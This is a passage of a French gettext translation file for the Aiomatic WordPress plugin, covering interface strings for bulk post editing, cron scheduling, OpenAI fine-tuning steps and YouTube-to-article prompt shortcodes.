res/aiomatic-spinner-list.php:2196 msgid "" "Bulk post editing might consume a large number of AI model tokens to " "complete! Be sure you check" msgstr "" "La modification des messages en vrac peut consommer un grand nombre de " "jetons de modèle d'IA ! Veillez à vérifier" #: res/aiomatic-spinner-list.php:2196 msgid "" "before you continue. You can filter which posts you need edited. Doing a " "general site backup is also recommended before doing bulk content editing." msgstr "" "avant de continuer. Vous pouvez filtrer les messages à modifier. Il est " "également recommandé d'effectuer une sauvegarde générale du site avant de " "procéder à une modification en vrac du contenu." #: res/aiomatic-spinner-list.php:2234 msgid "" "Select the way you want to schedule automatic editing of existing posts from " "your site, using the below settings." msgstr "" "Sélectionnez la manière dont vous souhaitez programmer la modification " "automatique des articles existants de votre site, en utilisant les " "paramètres ci-dessous." #: res/aiomatic-spinner-list.php:2238 msgid "Automatic Editing Of Existing Posts:" msgstr "Édition automatique des messages existants :" #: res/aiomatic-spinner-list.php:2251 msgid "WordPress Cron Job" msgstr "WordPress Cron Job" #: res/aiomatic-spinner-list.php:2256 msgid "External Cron Job" msgstr "Job Cron externe" #: res/aiomatic-spinner-list.php:2266 msgid "" "Choose how often you want to automatically check for old posts. This will " "change the cron scheduling time." msgstr "" "Choisissez la fréquence à laquelle vous souhaitez vérifier automatiquement " "la présence d'anciens messages. Cela modifiera l'heure de programmation du " "cron." #: res/aiomatic-spinner-list.php:2270 msgid "Plugin Autorun Interval:" msgstr "Intervalle de lancement automatique du plugin :" #: res/aiomatic-spinner-list.php:2310 msgid "Once 30 minutes" msgstr "Une fois toutes les 30 minutes" #: res/aiomatic-spinner-list.php:2315 msgid "Once 15 minutes" msgstr "Une fois toutes les 15 minutes" #: res/aiomatic-spinner-list.php:2320 msgid "Once 10 minutes" msgstr "Une fois toutes les 10 minutes" #: res/aiomatic-spinner-list.php:2331 msgid "" "Select a secret word that will be used when you run the post editing part of " "the plugin manually by URL/by cron. See details about this below." msgstr "" "Sélectionnez un mot secret qui sera utilisé lorsque vous exécutez la partie " "d'édition des articles du plugin manuellement par URL/par cron. Voir les " "détails ci-dessous." #: res/aiomatic-spinner-list.php:2335 msgid "Secret Word Used For Cron Running (Optional):" msgstr "Mot secret utilisé pour l'exécution du Cron (facultatif) :" #: res/aiomatic-spinner-list.php:2338 msgid "Input a secret word" msgstr "Saisie d'un mot secret" #: res/aiomatic-spinner-list.php:2345 msgid "" "If you want to schedule the cron event manually in your server, to allow " "recurring editing of existing posts on your site, you should schedule this " "address:" msgstr "" "Si vous voulez programmer l'événement cron manuellement dans votre serveur, " "pour permettre l'édition récurrente de messages existants sur votre site, " "vous devez programmer cette adresse :" #: res/aiomatic-spinner-list.php:2345 msgid "You must enter a secret word above, to use this feature." msgstr "" "Vous devez entrer un mot secret ci-dessus pour utiliser cette fonction." #: res/aiomatic-spinner-list.php:2384 msgid "" "Select if you don't want to process the same post twice using bulk post " "editing." msgstr "" "Sélectionnez cette option si vous ne souhaitez pas traiter deux fois le même " "message à l'aide de l'édition en masse de messages." #: res/aiomatic-spinner-list.php:2388 msgid "Don't Process Same Post Twice:" msgstr "Ne traitez pas deux fois le même message :" #: res/aiomatic-spinner-list.php:2406 msgid "" "Set the name of the custom field which will be set to posts which were " "already edited. Changing this can be useful if you want to reedit already " "edited posts. The default is: aiomatic_published" msgstr "" "Définissez le nom du champ personnalisé qui sera attribué aux messages déjà " "édités. Il peut être utile de modifier ce champ si vous souhaitez rééditer " "des articles déjà édités. La valeur par défaut est : aiomatic_published" #: res/aiomatic-spinner-list.php:2410 msgid "Duplicate Checking Custom Field Name (Optional):" msgstr "Dupliquer le nom du champ personnalisé de vérification (facultatif) :" #: res/aiomatic-training.php:16 msgid "This feature is not currently supported when using Azure API!" msgstr "" "Cette fonctionnalité n'est actuellement prise en charge que pour les clés " "API OpenAI !" #: res/aiomatic-training.php:25 msgid "" "This feature is currently supported only if you enter a single OpenAI API " "key in the plugin's 'Main Settings' menu." msgstr "" "Cette fonctionnalité n'est actuellement prise en charge que si vous entrez " "une seule clé API OpenAI dans le menu \"Paramètres principaux\" du plugin." #: res/aiomatic-training.php:33 msgid "This feature is currently supported only for OpenAI API keys." msgstr "" "Cette fonctionnalité n'est actuellement prise en charge que pour les clés " "API OpenAI." #: res/aiomatic-training.php:44 res/aiomatic-training.php:64 msgid "Step 1a: Dataset Uploader" msgstr "Étape 1a : Chargeur de données" #: res/aiomatic-training.php:45 res/aiomatic-training.php:68 msgid "Step 1b: Dataset Manual Entry" msgstr "Étape 1b : Saisie manuelle de l'ensemble de données" #: res/aiomatic-training.php:46 res/aiomatic-training.php:70 msgid "Step 1c: Dataset Converter" msgstr "Étape 1c : Convertisseur de données" #: res/aiomatic-training.php:47 msgid "Step 2: Datasets" msgstr "Étape 2 : Jeux de données" #: res/aiomatic-training.php:48 msgid "Step 3: Model Finetunes" msgstr "Étape 3 : Finalités du modèle" #: res/aiomatic-training.php:52 msgid "What is fine-tuning in GPT-3?" msgstr "Qu'est-ce que le réglage fin dans GPT-3 ?" #: res/aiomatic-training.php:53 msgid "" "Fine-tuning in GPT-3 is the process of adjusting a specific AI model and its " "parameters to better suit a specific task. This can be done by providing " "GPT-3 with a data set that is tailored to the task you need. For example, if " "you want to create a chatbot which replies similar to questions similar to " "Rick, from \"Rick and Morty\", this feature is what you need." msgstr "" "Le réglage fin dans GPT-3 est le processus d'ajustement d'un modèle d'IA " "spécifique et de ses paramètres pour mieux s'adapter à une tâche spécifique. " "Pour ce faire, vous pouvez fournir à GPT-3 un ensemble de données adapté à " "la tâche dont vous avez besoin. Par exemple, si vous souhaitez créer un " "chatbot qui répond à des questions similaires à celles de Rick, de \"Rick " "and Morty\", cette fonctionnalité est ce qu'il vous faut." #: res/aiomatic-training.php:54 msgid "" "When fine-tuning a model, it's important to keep a few things in mind, such " "as the quality of the data set and the parameters of the model that will be " "adjusted. Additionally, it's important to monitor the performance of the " "model during and after fine-tuning." msgstr "" "Lors de la mise au point d'un modèle, il est important de garder à l'esprit " "certains éléments, tels que la qualité de l'ensemble de données et les " "paramètres du modèle qui seront ajustés. En outre, il est important de " "surveiller les performances du modèle pendant et après l'ajustement." #: res/aiomatic-training.php:55 msgid "" "Lets say you would like to train your AI to answer specific questions about " "your website content, company, product or anything else. You can achieve " "this by fine-tuning a model using your own data! Please note, this process " "requires a lot of effort. Preparing a high quality data is the key here. And " "you need to do a lot of testing to achieve best results!" msgstr "" "Supposons que vous souhaitiez entraîner votre IA à répondre à des questions " "spécifiques sur le contenu de votre site web, votre entreprise, votre " "produit ou tout autre sujet. Vous pouvez y parvenir en affinant un modèle à " "l'aide de vos propres données ! Attention, ce processus demande beaucoup " "d'efforts. La préparation de données de haute qualité est la clé. Et vous " "devez effectuer de nombreux tests pour obtenir les meilleurs résultats !" #: res/aiomatic-training.php:56 msgid "" "If you are looking for a quick way to customize the AI content writer and to " "teach it some info about your company, I suggest you check the" msgstr "" "Si vous cherchez un moyen rapide de personnaliser le rédacteur de contenu de " "l'IA et de lui donner des informations sur votre entreprise, je vous suggère " "de consulter la rubrique" #: res/aiomatic-training.php:56 msgid "feature of the plugin" msgstr "fonctionnalité du plugin" #: res/aiomatic-training.php:57 msgid "More about fine tuning" msgstr "En savoir plus sur le réglage fin" #: res/aiomatic-training.php:58 msgid "The main steps of fine-tuning are" msgstr "Les principales étapes du réglage fin sont les suivantes" #: res/aiomatic-training.php:59 msgid "for usage of fine tuned models" msgstr "pour l'utilisation de modèles affinés" #: res/aiomatic-training.php:60 msgid "Step 1: Create your data for fine-tuning" msgstr "Étape 1 : Créer vos données pour le réglage fin" #: res/aiomatic-training.php:60 msgid "" "create as many high quality questions and answers as possible, containing as " "much useful information you can think of, which can teach the AI about the " "purpose of your finetune. Keep in mind that you might need to create very " "large amounts of data (tens of tousands of questions and answers) for this " "to work as expected." msgstr "" "créez autant de questions et de réponses de qualité que possible, contenant " "autant d'informations utiles que vous pouvez imaginer, qui peuvent enseigner " "à l'IA l'objectif de votre finetune. Gardez à l'esprit que vous devrez peut-" "être créer de très grandes quantités de données (des dizaines de milliers de " "questions et de réponses) pour que cela fonctionne comme prévu." #: res/aiomatic-training.php:61 msgid "" "Here are some options you have, to help create the data for fine-tuning " "(select the one that best fits your needs)" msgstr "" "Voici quelques options qui s'offrent à vous pour créer les données " "nécessaires à la mise au point (choisissez celle qui correspond le mieux à " "vos besoins)" #: res/aiomatic-training.php:64 msgid "" "if you alread have your data ready in the required format (JSONL file), you " "will be able to directly upload it to OpenAI. Be sure to select the base " "model for which you want to create a fine tune, from the 'Model Base' " "dropdown list, because you decide at this step for which model you want to " "create a fine tune with the uploaded data. To upload larger datasets, your " "WordPress maximum file upload size setting should be set to at least the " "file size you want to upload. You can follow" msgstr "" "si vous disposez déjà de vos données dans le format requis (fichier JSONL), " "vous pourrez les télécharger directement vers OpenAI. Veillez à sélectionner " "le modèle de base pour lequel vous souhaitez créer un réglage fin dans la " "liste déroulante \"Base du modèle\", car c'est à cette étape que vous " "décidez du modèle pour lequel vous souhaitez créer un réglage fin avec les " "données téléchargées. Pour télécharger des ensembles de données plus " "importants, le paramètre de taille maximale de téléchargement de fichiers de " "WordPress doit être au moins égal à la taille du fichier que vous souhaitez " "télécharger. Vous pouvez suivre les instructions suivantes" #: res/aiomatic-training.php:64 msgid "this guide" msgstr "guide d'utilisation" #: res/aiomatic-training.php:64 msgid "" "to achieve this. The uploaded file must contain prompt and completion pairs. " "The \"prompt\" part is the question and the \"completion\" part is the " "answer. You can find an example file" msgstr "" "pour y parvenir. Le fichier téléchargé doit contenir des paires de questions " "et de réponses. La partie \"prompt\" est la question et la partie " "\"complétion\" est la réponse. Vous pouvez trouver un fichier d'exemple" #: res/aiomatic-training.php:64 msgid "To convert files to JSONL format, you can use the" msgstr "Pour convertir des fichiers au format JSONL, vous pouvez utiliser la" #: res/aiomatic-training.php:64 msgid "CLI Data Preparation Tool" msgstr "Outil de préparation des données CLI" #: res/aiomatic-training.php:64 msgid "from OpenAI." msgstr "de l'OpenAI." #: res/aiomatic-training.php:65 msgid "VERY IMPORTANT" msgstr "TRES IMPORTANT" #: res/aiomatic-training.php:65 msgid "" "When using the 'Dataset Uploader' tool, each prompt and each completion from " "the file you are uploading must both end with their own special endings. By " "default, it is \" ->\" for the prompts, and \" ###\" for the completions (be " "sure to not add also double quotes and to respect also ending spaces). Also, " "be sure that each completion starts with a space! Check more requirements on " "traning data design," msgstr "" "Lorsque vous utilisez l'outil \"Dataset Uploader\", chaque invite et chaque " "complétion du fichier que vous téléchargez doivent se terminer par leur " "propre terminaison. Par défaut, il s'agit de \" ->\" pour les Prompts et de " "\" ###\" pour les complétions (veillez à ne pas ajouter de guillemets et à " "respecter les espaces finaux). Veillez également à ce que chaque complétion " "commence par un espace ! Consultez d'autres exigences relatives à la " "conception des données de formation," #: res/aiomatic-training.php:65 msgid "" "If you want to use your own prompt completitions, and not use the defaults " "mentioned beforehand, be sure to add in the plugin's 'Main Settings' menu -> " "'Suffix For Fine-Tuning Prompts' and 'Suffix For Fine-Tuning Completions' " "settings fields, the values of prompt and completitions suffixes you used in " "training (this is optional, the default values will be used otherwise)." msgstr "" "Si vous souhaitez utiliser vos propres compléments d'invite, et non les " "valeurs par défaut mentionnées précédemment, veillez à ajouter dans le menu " "\"Paramètres principaux\" du plugin -> \"Suffix For Fine-Tuning Prompts\" et " "\"Suffix For Fine-Tuning Complétions\" les valeurs des suffixes de Promptet " "de complétion que vous avez utilisées lors de la formation (ceci est " "facultatif, les valeurs par défaut seront utilisées dans le cas contraire)." #: res/aiomatic-training.php:68 msgid "" "if not, you can start entering your data into the plugin. To avoid losing " "your work, this data is kept in your browser's local storage. This is " "actually complex, so learn how to write datasets by studying" msgstr "" "si ce n'est pas le cas, vous pouvez commencer à entrer vos données dans le " "plugin. Pour éviter de perdre votre travail, ces données sont conservées " "dans le stockage local de votre navigateur. Ceci est en fait complexe, alors " "apprenez à écrire des ensembles de données en étudiant" #: res/aiomatic-training.php:68 msgid "case studies from OpenAI" msgstr "études de cas de l'OpenAI" #: res/aiomatic-training.php:68 msgid "" "Here you can also download your data or directly upload it to OpenAI for " "usage. Useful tip: to gather your data, start by collecting info about your " "website pages, content, and any ideas you have in your mind. Try to create a " "file, or several files, without any HTML formatting or other unnecessary " "elements. If you have access to ChatGPT, use it to generate a large number " "of questions and answers based on your content. Gather the data in a Google " "Sheet with the two columns, and make sure to review and perfect it. A " "dataset should have a minimum of 500 rows to offer useful results, and much " "more if you want to achieve better results. According to the OpenAI " "documentation, above 3,000 rows are recommended. But it ultimately depends " "on what you're trying to achieve. Be sure to select the base model for which " "you want to create a fine tune, from the 'Model Base' dropdown list, because " "you decide at this step for which model you want to create a fine tune with " "the uploaded data. Check OpenAI's recommendations for fine tuning," msgstr "" "Ici, vous pouvez également télécharger vos données ou les envoyer " "directement à OpenAI pour qu'elles soient utilisées. Conseil utile : pour " "rassembler vos données, commencez par collecter des informations sur les " "pages de votre site web, son contenu et toutes les idées qui vous viennent à " "l'esprit. Essayez de créer un fichier, ou plusieurs fichiers, sans formatage " "HTML ou autres éléments inutiles. Si vous avez accès à ChatGPT, utilisez-le " "pour générer un grand nombre de questions et de réponses basées sur votre " "contenu. Rassemblez les données dans une feuille Google avec les deux " "colonnes, et veillez à les réviser et à les perfectionner. Un ensemble de " "données doit comporter un minimum de 500 lignes pour offrir des résultats " "utiles, et bien plus si vous souhaitez obtenir de meilleurs résultats. Selon " "la documentation d'OpenAI, il est recommandé d'avoir plus de 3 000 lignes. " "Mais cela dépend en fin de compte de ce que vous essayez d'obtenir. Veillez " "à sélectionner le modèle de base pour lequel vous souhaitez créer un réglage " "fin dans la liste déroulante \"Model Base\", car c'est à cette étape que " "vous décidez du modèle pour lequel vous souhaitez créer un réglage fin avec " "les données téléchargées. Consultez les recommandations d'OpenAI pour le " "réglage fin," #: res/aiomatic-training.php:68 msgid "" "In this case, the plugin will automatically add the defined prompt and " "completion suffixes, defined in the plugin's 'Main Settings' menu. The " "defaults are ' ->' (without the quotes) as the prompt suffix, ' " "###' (without the quotes) as completion suffix and start completitions with " "a space (this is required by OpenAI)." msgstr "" "Dans ce cas, le plugin ajoutera automatiquement les suffixes du Pompt et de " "complétion définis dans le menu 'Paramètres principaux' du plugin. Les " "valeurs par défaut sont ' ->' (sans les guillemets) comme suffixe d'invite, " "' ###' (sans les guillemets) comme suffixe d'achèvement et les achèvements " "commencent par un espace (ceci est requis par OpenAI)." #: res/aiomatic-training.php:70 msgid "" "this is a tool which is designed to colect information from your pages, " "posts or products and to create datasets from them. This can be useful if " "you want to train a new model to be more knowledgeable of your website's " "content. The tool will set the post/page/product title as the \"question\" " "and the content as the \"answer\". You can download the resulting files and " "upload them using the 'Dataset Uploader' tab. In this case, the plugin will " "automatically add the defined prompt and completion suffixes, defined in the " "plugin's 'Main Settings' menu. The defaults are ' ->' (without the quotes) " "as the prompt suffix, ' ###' (without the quotes) as completion suffix and " "start completitions with a space (this is required by OpenAI)." msgstr "" "il s'agit d'un outil conçu pour collecter des informations à partir de vos " "pages, messages ou produits et pour créer des ensembles de données à partir " "de ceux-ci. Cela peut être utile si vous souhaitez entraîner un nouveau " "modèle à mieux connaître le contenu de votre site web. L'outil définit le " "titre de l'article/de la page/du produit comme la \"question\" et le contenu " "comme la \"réponse\". Vous pouvez télécharger les fichiers résultants et les " "charger à l'aide de l'onglet \"Dataset Uploader\". Dans ce cas, le plugin " "ajoutera automatiquement les suffixes du Pompt et d'achèvement définis dans " "le menu \"Paramètres principaux\" du plugin. Les valeurs par défaut sont ' -" ">' (sans les guillemets) comme suffixe d'invite, ' ###' (sans les " "guillemets) comme suffixe de complétion et commencer les complétions par un " "espace (ceci est requis par OpenAI)." #: res/aiomatic-training.php:73 msgid "Step 2: Start training your model" msgstr "Étape 2 : Commencez à former votre modèle" #: res/aiomatic-training.php:73 msgid "" "after data upload is complete, go to the 'Datasets' tab of this plugin, " "search for the file you uploaded (be sure to sync files) and click 'Create " "Fine-Tune' for it. In the popup which appears, select 'New Model' if you " "want to create a new fine tune, or select any existing finetuned models, to " "create a new finetune based on that existing finetuned model. This process " "will take some time, for a dataset of 500 rows, it typically takes around 20 " "minutes." msgstr "" "une fois le téléchargement des données terminé, allez dans l'onglet " "\"Datasets\" de ce plugin, recherchez le fichier que vous avez téléchargé " "(assurez-vous de synchroniser les fichiers) et cliquez sur \"Create Fine-" "Tune\" (Créer un réglage fin). Dans la fenêtre qui s'affiche, sélectionnez " "\"Nouveau modèle\" si vous souhaitez créer un nouveau réglage fin, ou " "sélectionnez n'importe quel modèle de réglage fin existant, pour créer un " "nouveau réglage fin basé sur ce modèle de réglage fin existant. Ce processus " "prendra un certain temps ; pour un ensemble de données de 500 lignes, il " "prend généralement environ 20 minutes." #: res/aiomatic-training.php:74 msgid "Step 3: Check progress of the fine tune" msgstr "Étape 3 : Vérifier l'état d'avancement du réglage fin" #: res/aiomatic-training.php:74 msgid "" "after finetune creation is complete, go to the 'Model Finetunes' tab and " "check the finetune you created. Be sure to sync finetunes. Wait until the " "finetune is listed with status 'succeeded', after which, it will appear also " "in the plugin and can be directly selected, when selecting the models which " "you want to use for data creation in the plugin! If you don't see your fine-" "tuned model in the dropdown list, please make sure that the fine-tune " "request is complete. You can also click on \"Sync Models\" link to get " "latest models." msgstr "" "une fois la création des finetunes terminée, allez dans l'onglet \"Model " "Finetunes\" et vérifiez les finetunes que vous avez créées. Veillez à " "synchroniser les finetunes. Attendez que le finetune soit listé avec le " "statut \"réussi\", après quoi il apparaîtra également dans le plugin et " "pourra être directement sélectionné lors de la sélection des modèles que " "vous souhaitez utiliser pour la création de données dans le plugin ! Si vous " "ne voyez pas votre modèle affiné dans la liste déroulante, assurez-vous que " "la demande d'affinage est complète. Vous pouvez également cliquer sur le " "lien \"Sync Models\" pour obtenir les derniers modèles." #: res/aiomatic-training.php:76 msgid "" "Please note, I can not guarantee that the fine-tuned model will work well " "for your use case. As I mentioned before, dataset quality is very important. " "If you have a small dataset, you might not get good results. If you have a " "very large dataset with really well-defined prompt and completion pairs, you " "should get good results." msgstr "" "Veuillez noter que je ne peux pas garantir que le modèle affiné fonctionnera " "bien pour votre cas d'utilisation. Comme je l'ai déjà mentionné, la qualité " "de l'ensemble des données est très importante. Si vous disposez d'un petit " "ensemble de données, vous risquez de ne pas obtenir de bons résultats. Si " "vous disposez d'un très grand ensemble de données avec des paires de Prompts " "et de réponses vraiment bien définies, vous devriez obtenir de bons " "résultats." #: res/aiomatic-training.php:96 msgid "Dataset (*.jsonl)" msgstr "Jeu de données (*.jsonl)" #: res/aiomatic-training.php:102 res/aiomatic-training.php:187 #: res/aiomatic-training.php:400 msgid "Purpose" msgstr "Objectif" #: res/aiomatic-training.php:114 res/aiomatic-training.php:195 msgid "Model Base" msgstr "Modèle de base" #: res/aiomatic-training.php:125 msgid "Custom Model Name" msgstr "Nom du modèle personnalisé" #: res/aiomatic-training.php:132 msgid "File uploaded successfully you can view it in Datasets tab." msgstr "" "Le fichier a été téléchargé avec succès, vous pouvez le visualiser dans " "l'onglet Datasets." #: res/aiomatic-training.php:139 res/aiomatic-training.php:218 msgid "Upload to OpenAI" msgstr "Télécharger sur OpenAI" #: res/aiomatic-training.php:140 msgid "Maximum upload file size:" msgstr "Taille maximale du fichier :" #: res/aiomatic-training.php:148 msgid "" "TIP: You need to add prompt or completition suffixes in the data you upload, " "please check more details on training prompt design recommendations," msgstr "" "CONSEIL : Vous devez ajouter un prompt ou des suffixes de complément dans " "les données que vous téléchargez, veuillez vérifier plus de détails sur les " "recommandations de conception des Prompts de formation," #: res/aiomatic-training.php:157 msgid "Enter Your Data" msgstr "Saisissez vos données" #: res/aiomatic-training.php:162 msgid "Completion" msgstr "Achèvement" #: res/aiomatic-training.php:175 msgid "Save & Add New" msgstr "Sauvegarder et ajouter un nouveau" #: res/aiomatic-training.php:176 msgid "Clear Data" msgstr "Réinitialiser" #: res/aiomatic-training.php:177 msgid "Download Data" msgstr "Télécharger de nouvelles données" #: res/aiomatic-training.php:178 msgid "Load From File" msgstr "Charger à partir d'un fichier" #: res/aiomatic-training.php:181 msgid "You can load .csv or .jsonl files." msgstr "Vous pouvez charger des fichiers .csv ou .jsonl." #: res/aiomatic-training.php:182 msgid "" "TIP: You don't need to add prompt or completition suffixes in the data from " "above, as the plugin will handle this automatically, it will automatically " "add to your data the suffixes defined in the plugin's 'Main Settings' menu." msgstr "" "ASTUCE : Il n'est pas nécessaire d'ajouter un prompt ou des suffixes de " "complément dans les données ci-dessus, car le plugin s'en chargera " "automatiquement. Il ajoutera automatiquement à vos données les suffixes " "définis dans le menu \"Paramètres principaux\" du plugin." #: res/aiomatic-training.php:190 msgid "Fine-Tune" msgstr "Ajustement minutieux" #: res/aiomatic-training.php:206 msgid "Custom Name" msgstr "Nom personnalisé" #: res/aiomatic-training.php:243 msgid "Data Converter" msgstr "Convertisseur de données" #: res/aiomatic-training.php:249 msgid "Select Data" msgstr "Sélectionnez les données" #: res/aiomatic-training.php:251 msgid "Posts" msgstr "Articles" #: res/aiomatic-training.php:252 msgid "Pages" msgstr "Pages" #: res/aiomatic-training.php:256 msgid "Products" msgstr "Produits" #: res/aiomatic-training.php:263 msgid "Post Category to Process" msgstr "Enregistrer une catégorie dans le processus" #: res/aiomatic-training.php:266 msgid "Select a Category (Optional)" msgstr "Sélectionnez une catégorie (facultatif)" #: res/aiomatic-training.php:288 msgid "Import Content or Excerpt" msgstr "Importer un contenu ou un extrait" #: res/aiomatic-training.php:303 msgid "Convert" msgstr "Convertir" #: res/aiomatic-training.php:309 msgid "Completed Conversions" msgstr "Conversions terminées" #: res/aiomatic-training.php:313 res/aiomatic-training.php:399 msgid "Filename" msgstr "Nom du fichier" #: res/aiomatic-training.php:314 msgid "Started" msgstr "Commencé" #: res/aiomatic-training.php:315 msgid "Completed" msgstr "Terminé" #: res/aiomatic-training.php:316 res/aiomatic-training.php:397 msgid "Size" msgstr "Taille" #: res/aiomatic-training.php:317 res/aiomatic-training.php:401 #: res/aiomatic-training.php:485 msgid "Action" msgstr "Action" #: res/aiomatic-training.php:387 msgid "Sync Files" msgstr "Synchroniser les fichiers" #: res/aiomatic-training.php:390 msgid "All files" msgstr "Tous les fichiers" #: res/aiomatic-training.php:398 res/aiomatic-training.php:479 msgid "Created At" msgstr "Créé le" #: res/aiomatic-training.php:419 msgid "Create Fine-Tune" msgstr "Créer des réglages fins" #: res/aiomatic-training.php:423 msgid "Retrieve Content" msgstr "Récupérer le contenu" #: res/aiomatic-training.php:466 msgid "Fine-tunes" msgstr "Ajustements minutieux" #: res/aiomatic-training.php:467 msgid "Sync Fine-tunes" msgstr "Sync Fine-tunes" #: res/aiomatic-training.php:470 msgid "All fine-tunes" msgstr "Tous les réglages fins" #: res/aiomatic-training.php:477 msgid "Object" msgstr "Objet" #: res/aiomatic-training.php:480 msgid "Fine-tune Model" msgstr "Affiner le modèle" #: res/aiomatic-training.php:481 msgid "Organization ID" msgstr "ID de l'organisation" #: res/aiomatic-training.php:483 msgid "Updated" msgstr "Mis à jour" #: res/aiomatic-training.php:484 msgid "Training" msgstr "Formation" #: res/aiomatic-training.php:503 msgid "Events" msgstr "Événements" #: res/aiomatic-training.php:504 msgid "Hyper-params" msgstr "Hyper-paramètres" #: res/aiomatic-training.php:505 msgid "Result files" msgstr "Fichiers de résultats" #: res/aiomatic-training.php:506 msgid "Training-files" msgstr "Fiches de formation" #: res/aiomatic-training.php:513 msgid "Cancel" msgstr "Annuler" #: res/aiomatic-youtube-list.php:164 msgid "YouTube Videos To Posts Tutorial" msgstr "Tutoriel de conversion des vidéos YouTube en articles" #: res/aiomatic-youtube-list.php:202 msgid "YouTube Video URLs" msgstr "URL des vidéos YouTube" #: res/aiomatic-youtube-list.php:206 msgid "" "Please provide the URLs to the YouTube videos (one per line). Videos must be " "public and have captions available (uploaded or auto generated). In case " "auto generated captions are used, the quality of the created article might " "be lower. Nested Shortcodes also supported!" msgstr "" "Veuillez fournir les URL des vidéos YouTube (une par ligne). Les vidéos " "doivent être publiques et comporter des sous-titres (téléchargés ou générés " "automatiquement). En cas d'utilisation de légendes générées automatiquement, " "la qualité de l'article créé risque d'être moindre. Les shortcodes imbriqués " "sont également pris en charge !" #: res/aiomatic-youtube-list.php:326 res/aiomatic-youtube-list.php:2733 msgid "YouTube Video Options" msgstr "Options de la vidéo YouTube" #: res/aiomatic-youtube-list.php:334 res/aiomatic-youtube-list.php:2736 #, php-format msgid "" "Input a comma separated list of video captions prefered languages to use for " "the %%video_caption%% shortcode. Please use a comma separated list of 2 " "character language codes. Ex: en,es,hu,br. The plugin will use the fisrt " "language in the list that matches. If you leave this field blank, the " "default language caption will be imported for each video." msgstr "" "Saisissez une liste séparée par des virgules des langues préférées pour les " "sous-titres vidéo à utiliser pour le shortcode %%video_caption%%. Veuillez " "utiliser une liste de codes de langue à 2 caractères séparés par des " "virgules. Ex : en,es,hu,br. Le plugin utilisera la première langue de la " "liste qui correspond. Si vous laissez ce champ vide, la langue de légende " "par défaut sera importée pour chaque vidéo." #: res/aiomatic-youtube-list.php:338 msgid "Video Caption Preferred Languages:" msgstr "Sous-titrage vidéo Langues préférées :" #: res/aiomatic-youtube-list.php:355 msgid "Video Caption Maximum Character Length In Prompts:" msgstr "" "Longueur maximale des caractères de la légende de la vidéo dans les Prompts :" #: res/aiomatic-youtube-list.php:371 res/aiomatic-youtube-list.php:2760 msgid "" "Select if you want to use AI generated titles for the posts created by the " "plugin. If not, the YouTube video title will be used." msgstr "" "Sélectionnez si vous souhaitez utiliser les titres générés par l'IA pour les " "articles créés par le plugin. Si ce n'est pas le cas, le titre de la vidéo " "YouTube sera utilisé." #: res/aiomatic-youtube-list.php:375 msgid "Use AI Generated Post Titles:" msgstr "Utilisez des titres d'articles générés par l'IA :" #: res/aiomatic-youtube-list.php:505 res/aiomatic-youtube-list.php:2924 msgid "" "Select if you would like to add the source YouTube video to the end of the " "created article." msgstr "" "Sélectionnez si vous souhaitez ajouter la vidéo YouTube source à la fin de " "l'article créé." #: res/aiomatic-youtube-list.php:509 msgid "Add The YouTube Video To The Article:" msgstr "Ajoutez la vidéo YouTube à l'article :" #: res/aiomatic-youtube-list.php:743 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Prompt à utiliser pour le titre de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : " "les shortcodes imbriqués sont également pris en charge (shortcodes générés " "par des règles provenant d'autres plugins). Vous pourrez également utiliser " "les shortcodes personnalisés définis dans la fonctionnalité \"Créateur de " "shortcodes personnalisés\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la fonction " "\"Custom Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-youtube-list.php:781 #, php-format msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Prompt à utiliser pour l'introduction de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Mise à jour : les shortcodes imbriqués sont également " "supportés (shortcodes générés par des règles provenant d'autres plugins). " "Vous pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Créateur de shortcodes personnalisés\" à partir des " "paramètres de la règle - cela vous permettra de créer des Prompts " "partiellement ou entièrement générées par l'IA qui seront utilisées pour les " "générateurs de contenu." #: res/aiomatic-youtube-list.php:819 #, php-format msgid "" "Prompt to be used for the Sections of the article. These will be set also as " "headings in the article. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Prompt à utiliser pour les sections de l'article. Celles-ci seront également " "définies comme titres dans l'article. Vous pouvez utiliser les shortcodes " "suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_captions%%, %%language%%, 